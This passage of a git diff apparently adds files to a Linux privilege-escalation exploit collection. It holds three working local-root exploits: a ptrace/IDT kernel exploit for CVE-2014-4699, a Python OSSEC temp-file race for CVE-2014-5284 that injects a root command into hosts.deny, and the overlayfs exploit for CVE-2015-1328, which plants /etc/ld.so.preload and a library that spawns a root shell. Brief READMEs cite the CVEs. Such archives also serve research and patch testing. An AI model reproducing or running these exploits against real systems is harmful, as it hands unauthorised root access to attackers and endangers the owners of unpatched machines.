#define SIZE 0x10000000
|
||||
|
||||
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
|
||||
|
||||
unsigned long __user_cs;
|
||||
unsigned long __user_ss;
|
||||
unsigned long __user_rflags;
|
||||
|
||||
void __attribute__((regparm(3))) payload() {
|
||||
uint32_t *fixptr = (void*)0xffffffff81dd70e8;
|
||||
// restore the #PF handler
|
||||
*fixptr = -1;
|
||||
//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
|
||||
//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
|
||||
//commit_creds(prepare_kernel_cred((uint64_t)NULL));
|
||||
|
||||
//__asm__ volatile ("swapgs\n\t"
|
||||
// "...");
|
||||
}
|
||||
|
||||
int main() {
|
||||
struct user_regs_struct regs;
|
||||
uint8_t *trampoline, *tmp;
|
||||
int status;
|
||||
|
||||
struct {
|
||||
uint16_t limit;
|
||||
uint64_t addr;
|
||||
} __attribute__((packed)) idt;
|
||||
|
||||
// MAP_POPULATE so we don't trigger extra #PF
|
||||
trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
|
||||
assert(trampoline == 0x80000000);
|
||||
memset(trampoline, 0x90, SIZE);
|
||||
tmp = trampoline;
|
||||
tmp += SIZE-1024;
|
||||
memcpy(tmp, &payload, 1024);
|
||||
memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
|
||||
|
||||
pid_t chld;
|
||||
|
||||
if ((chld = fork()) < 0) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (chld == 0) {
|
||||
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
|
||||
perror("PTRACE_TRACEME");
|
||||
exit(1);
|
||||
}
|
||||
raise(SIGSTOP);
|
||||
fork();
|
||||
return 0;
|
||||
}
|
||||
|
||||
asm volatile("sidt %0" : "=m" (idt));
|
||||
printf("IDT addr = 0x%lx\n", idt.addr);
|
||||
|
||||
waitpid(chld, &status, 0);
|
||||
|
||||
ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
|
||||
|
||||
ptrace(PTRACE_CONT, chld, 0, 0);
|
||||
|
||||
waitpid(chld, &status, 0);
|
||||
|
||||
ptrace(PTRACE_GETREGS, chld, NULL, ®s);
|
||||
regs.rdi = 0x0000000000000000;
|
||||
regs.rip = 0x8fffffffffffffff;
|
||||
regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
|
||||
|
||||
// attempt to restore the IDT
|
||||
regs.rdi = 0x0000000000000000;
|
||||
regs.rsi = 0x81658e000010cbd0;
|
||||
regs.rdx = 0x00000000ffffffff;
|
||||
regs.rcx = 0x81658e000010cba0;
|
||||
regs.rax = 0x00000000ffffffff;
|
||||
regs.r8 = 0x81658e010010cb00;
|
||||
regs.r9 = 0x00000000ffffffff;
|
||||
regs.r10 = 0x81668e0000106b10;
|
||||
regs.r11 = 0x00000000ffffffff;
|
||||
regs.rbx = 0x81668e0000106ac0;
|
||||
regs.rbp = 0x00000000ffffffff;
|
||||
regs.r12 = 0x81668e0000106ac0;
|
||||
regs.r13 = 0x00000000ffffffff;
|
||||
regs.r14 = 0x81668e0200106a90;
|
||||
regs.r15 = 0x00000000ffffffff;
|
||||
|
||||
ptrace(PTRACE_SETREGS, chld, NULL, ®s);
|
||||
|
||||
ptrace(PTRACE_CONT, chld, 0, 0);
|
||||
|
||||
ptrace(PTRACE_DETACH, chld, 0, 0);
|
||||
}
|
23
98-Linux提权/2014/CVE-2014-4699/README.md
Normal file
23
98-Linux提权/2014/CVE-2014-4699/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
# CVE-2014-4699
|
||||
|
||||
CVE-2014-4699
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-4699](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4699)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/34134/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
before 3.15.4
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc -O2 poc_v0.c
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
82
98-Linux提权/2014/CVE-2014-5284/CVE-2014-5284.py
Normal file
82
98-Linux提权/2014/CVE-2014-5284/CVE-2014-5284.py
Normal file
@ -0,0 +1,82 @@
|
||||
#!/usr/bin/python
|
||||
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation
|
||||
# Date: 14-11-14
|
||||
# Exploit Author: skynet-13
|
||||
# Vendor Homepage: www.ossec.net/
|
||||
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz
|
||||
# Version: OSSEC - 2.8
|
||||
# Tested on: Ubunutu x86_64
|
||||
# CVE : 2014-5284
|
||||
|
||||
# Created from Research by
|
||||
# Jeff Petersen
|
||||
# Roka Security LLC
|
||||
# jpetersen@rokasecurity.com
|
||||
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1
|
||||
|
||||
# Run this on target machine and follow instructions to execute command as root
|
||||
|
||||
from twisted.internet import inotify
|
||||
from twisted.python import filepath
|
||||
from twisted.internet import reactor
|
||||
import os
|
||||
import optparse
|
||||
import signal
|
||||
|
||||
|
||||
class HostDenyExploiter(object):
|
||||
|
||||
def __init__(self, path_to_watch, cmd):
|
||||
self.path = path_to_watch
|
||||
self.notifier = inotify.INotify()
|
||||
self.exploit = cmd
|
||||
|
||||
def create_files(self):
|
||||
print "=============================================="
|
||||
print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."
|
||||
|
||||
for i in range(300, 65536):
|
||||
filename = "/tmp/hosts.deny.%s" % i
|
||||
f = open(filename, 'w')
|
||||
f.write("")
|
||||
f.close()
|
||||
|
||||
def watch_files(self):
|
||||
print "=============================================="
|
||||
print "Monitoring tmp for file change...."
|
||||
print "ssh into the system a few times with an incorrect password"
|
||||
print "Then wait for up to 10 mins"
|
||||
print "=============================================="
|
||||
self.notifier.startReading()
|
||||
self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])
|
||||
|
||||
def write_exploit_to_file(self, path):
|
||||
print 'Writing exploit to this file'
|
||||
f = open(str(path).split("'")[1], 'w')
|
||||
f.write(' sshd : ALL : twist %s \n' % self.exploit)
|
||||
f.close()
|
||||
print "=============================================="
|
||||
print " ssh in again to execute the command"
|
||||
print "=============================================="
|
||||
print " End Prog."
|
||||
os.kill(os.getpid(), signal.SIGUSR1)
|
||||
|
||||
def on_file_change(self, watch, path, mask):
|
||||
print 'File: ', str(path).split("'")[1], ' has just been modified'
|
||||
self.notifier.stopReading()
|
||||
self.write_exploit_to_file(path)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")
|
||||
parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')
|
||||
(options, args) = parser.parse_args()
|
||||
cmd = options.cmd
|
||||
if options.cmd is None:
|
||||
print parser.usage
|
||||
exit(0)
|
||||
ex = HostDenyExploiter('/tmp', cmd)
|
||||
ex.create_files()
|
||||
ex.watch_files()
|
||||
reactor.run()
|
||||
exit(0)
|
22
98-Linux提权/2014/CVE-2014-5284/README.md
Normal file
22
98-Linux提权/2014/CVE-2014-5284/README.md
Normal file
@ -0,0 +1,22 @@
|
||||
# CVE-2014-5284
|
||||
|
||||
CVE-2014-5284
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2014-5284](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5284)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/35234/)
|
||||
|
||||
|
||||
## OSSEC
|
||||
```
|
||||
2.8
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [OSSEC不安全临时文件创建漏洞(CVE-2014-5284)](http://www.linuxidc.com/Linux/2014-12/110401.htm)
|
||||
|
||||
|
||||
|
||||
|
||||
|
153
98-Linux提权/2015/CVE-2015-1328/37292.c
Normal file
153
98-Linux提权/2015/CVE-2015-1328/37292.c
Normal file
@ -0,0 +1,153 @@
|
||||
/*
|
||||
# Exploit Title: ofs.c - overlayfs local root in ubuntu
|
||||
# Date: 2015-06-15
|
||||
# Exploit Author: rebel
|
||||
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
|
||||
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
|
||||
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
|
||||
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
CVE-2015-1328 / ofs.c
|
||||
overlayfs incorrect permission handling + FS_USERNS_MOUNT
|
||||
|
||||
user@ubuntu-server-1504:~$ uname -a
|
||||
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
|
||||
user@ubuntu-server-1504:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
|
||||
user@ubuntu-server-1504:~$ ./ofs
|
||||
spawning threads
|
||||
mount #1
|
||||
mount #2
|
||||
child threads done
|
||||
/etc/ld.so.preload created
|
||||
creating shared library
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
|
||||
|
||||
greets to beist & kaliman
|
||||
2015-05-24
|
||||
%rebel%
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mount.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/types.h>
|
||||
#include <signal.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <linux/sched.h>
|
||||
|
||||
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
|
||||
|
||||
static char child_stack[1024*1024];
|
||||
|
||||
static int
|
||||
child_exec(void *stuff)
|
||||
{
|
||||
char *file;
|
||||
system("rm -rf /tmp/ns_sploit");
|
||||
mkdir("/tmp/ns_sploit", 0777);
|
||||
mkdir("/tmp/ns_sploit/work", 0777);
|
||||
mkdir("/tmp/ns_sploit/upper",0777);
|
||||
mkdir("/tmp/ns_sploit/o",0777);
|
||||
|
||||
fprintf(stderr,"mount #1\n");
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
|
||||
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
|
||||
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
|
||||
exit(-1);
|
||||
}
|
||||
file = ".access";
|
||||
chmod("/tmp/ns_sploit/work/work",0777);
|
||||
} else file = "ns_last_pid";
|
||||
|
||||
chdir("/tmp/ns_sploit/o");
|
||||
rename(file,"ld.so.preload");
|
||||
|
||||
chdir("/");
|
||||
umount("/tmp/ns_sploit/o");
|
||||
fprintf(stderr,"mount #2\n");
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
|
||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
|
||||
exit(-1);
|
||||
}
|
||||
chmod("/tmp/ns_sploit/work/work",0777);
|
||||
}
|
||||
|
||||
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
|
||||
umount("/tmp/ns_sploit/o");
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int status, fd, lib;
|
||||
pid_t wrapper, init;
|
||||
int clone_flags = CLONE_NEWNS | SIGCHLD;
|
||||
|
||||
fprintf(stderr,"spawning threads\n");
|
||||
|
||||
if((wrapper = fork()) == 0) {
|
||||
if(unshare(CLONE_NEWUSER) != 0)
|
||||
fprintf(stderr, "failed to create new user namespace\n");
|
||||
|
||||
if((init = fork()) == 0) {
|
||||
pid_t pid =
|
||||
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
|
||||
if(pid < 0) {
|
||||
fprintf(stderr, "failed to create new mount namespace\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
}
|
||||
|
||||
waitpid(init, &status, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
usleep(300000);
|
||||
|
||||
wait(NULL);
|
||||
|
||||
fprintf(stderr,"child threads done\n");
|
||||
|
||||
fd = open("/etc/ld.so.preload",O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
fprintf(stderr,"exploit failed\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"/etc/ld.so.preload created\n");
|
||||
fprintf(stderr,"creating shared library\n");
|
||||
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
|
||||
write(lib,LIB,strlen(LIB));
|
||||
close(lib);
|
||||
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
|
||||
if(lib != 0) {
|
||||
fprintf(stderr,"couldn't create dynamic library\n");
|
||||
exit(-1);
|
||||
}
|
||||
write(fd,"/tmp/ofs-lib.so\n",16);
|
||||
close(fd);
|
||||
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
|
||||
execl("/bin/su","su",NULL);
|
||||
}
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user